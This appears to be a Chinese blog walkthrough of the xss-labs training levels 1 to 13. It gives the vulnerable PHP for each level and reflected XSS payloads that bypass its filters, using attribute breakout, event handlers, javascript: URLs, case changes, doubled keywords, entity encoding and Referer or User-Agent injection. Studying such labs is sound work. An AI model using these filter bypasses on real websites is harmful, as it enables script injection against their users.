xss-labs

less1

它向服务器提交了一个name参数,值为test,查看源码可以看到它将name的参数值插入到<h2></h2>标签之间

paylaod

<script>alert(1)</script>

代码审计

<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

红色第一行将从服务器获得的name参数的值赋值给str变量,下一行又将str变量直接插入到<h2></h2>标签之间 ,服务器并没有对name参数的值进行严格的管理,而且这个值用户可控,所以存在反射型xss

less2

依然是以get方式传递参数,应该还是反射型xss

比上一关多加入了 搜索框和搜索

尝试上一关xss注入,但是报错了,查看源码

我们注入的恶意代码已经被编码了,<>都被编码成了html字符实体。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以

1"><script>alert(1)</script><"

成功执行,代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

将keyword参数的值赋给str,但是在插入到<h2>标签的时候使用了htmlspecialchars()函数对变量str进行处理之后显示到网页上,第六行直接将变量值插入到<input>标签的value属性值中

htmlspecialchars()函数

把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体###

less3

和上一关差不多,但是提交payload报错,依然查看源码

这两处都将<>这样的敏感字符编码成了html字符实体。

猜测服务器端在这两处都用htmlspecialchars()函数进行了处理。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>  
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里可以通过<input>标签的一些特殊事件来执行js代码

1'onclick'alert(1)

最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时输入框被选中可以

输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此

点击当前页面的输入框就可以完成弹框了。

less4

还是先看源码

<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和scriptalert(1)/script相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 />

先尝试打一下

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="scriptalert(1)/script">

第一行<被编码了,第三行<>直接被删了

还是用上一关思路打

aaa"onclick"alert(1)

less5

继续先<script>alert(1)</script>先打

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt>alert(1)</script>">

第一行<>被编码,script 中间插了一个_ 进去,考虑javascript伪协议

"> <a href=javascript:alert(1)>1</a>//

javascript伪协议就是将javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

审计一下源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

strtolower()函数 将字符串转换成小写,两个正则过滤掉了<script>和onclick

less6

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="<scr_ipt>alert(1)</script>">

再试一下伪协议 也不行,突然奇想试试大小写

"> <a hrEf=javascript:alert(1)>1</a>//

成功了

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

正则比上一关多了几个,但是没有大小写转换的函数

less7

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="<>alert(1)</>">

把script给删了,试试双写绕过

"><scrscriptipt>alert(1)</scrscriptipt>//

成功 这里是将一个script 插入到另一个script 里面了,会将里面那个script 过滤掉,然后前后合在一起又变成了 script

查看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

less8

<input name=keyword  value="&lt;script&gt;alert(1)&lt;/script&gt;">
</center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>

前面方法都不可行,尝试html字符实体转换,将Unicode转化为ASCII

javascript:alert(1)

在线转换

HTML字符实体转换,网页字符实体编码

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

less9

先用上一关的方法打一下,提示我的链接不合法,那就在后面加一个真实可访问的链接

javascript:alert(1)http://www.baidu.com

script被替换了,所以对javascript:alert(1)进行html字符实体转换,再一次提交,注意,要再http 前面加上注释符 //

<input name=keyword  value="javascript:alert(1)http://www.baidu.com">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)http://www.baidu.com">友情链接</a></center><center><img src=level9.png></center>

payload

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://www.baidu.com

查看源码发现进行了if 判断,如果里面存在 http:// 这个就可以了,所以我们的注入语句后面的 百度一下,你就知道 也可以直接就写 http:// 就可以了

less10

查看源代码,可以看到这里有几个被隐藏的输入框,type="hidden" 就是隐藏表单的意思,思路就是根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用

keyword=test&t_link=" type="text" onmouseover=alert(1)// & t_history=" type="text" onmouseover=alert(1)// & t_sort=" type="text" onmouseover=alert(1)//
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="text" onmouseover=alert(1)//" type="hidden">

发现是第三个,执行成功

less11

<input name="t_ref"  value="http://127.0.0.1/xsslabs/xss-labs-master/level10.php?keyword=test&t_link=%22%20type=%22text%22%20onmouseover=alert(1)//%20&%20t_history=%22%20type=%22text%22%20onmouseover=alert(1)//%20&%20t_sort=%22%20type=%22text%22%20onmouseover=alert(1)//" type="hidden">

比上一关多了一个条件,试试加上referer,bp抓包添加ref

referer:" type='text' onclick='javascript:alert(1)'>//

less12

<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" type="hidden">

ua 继续bp添加ua

less13

<input name="t_cook"  value="" type="hidden">

cookie......

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值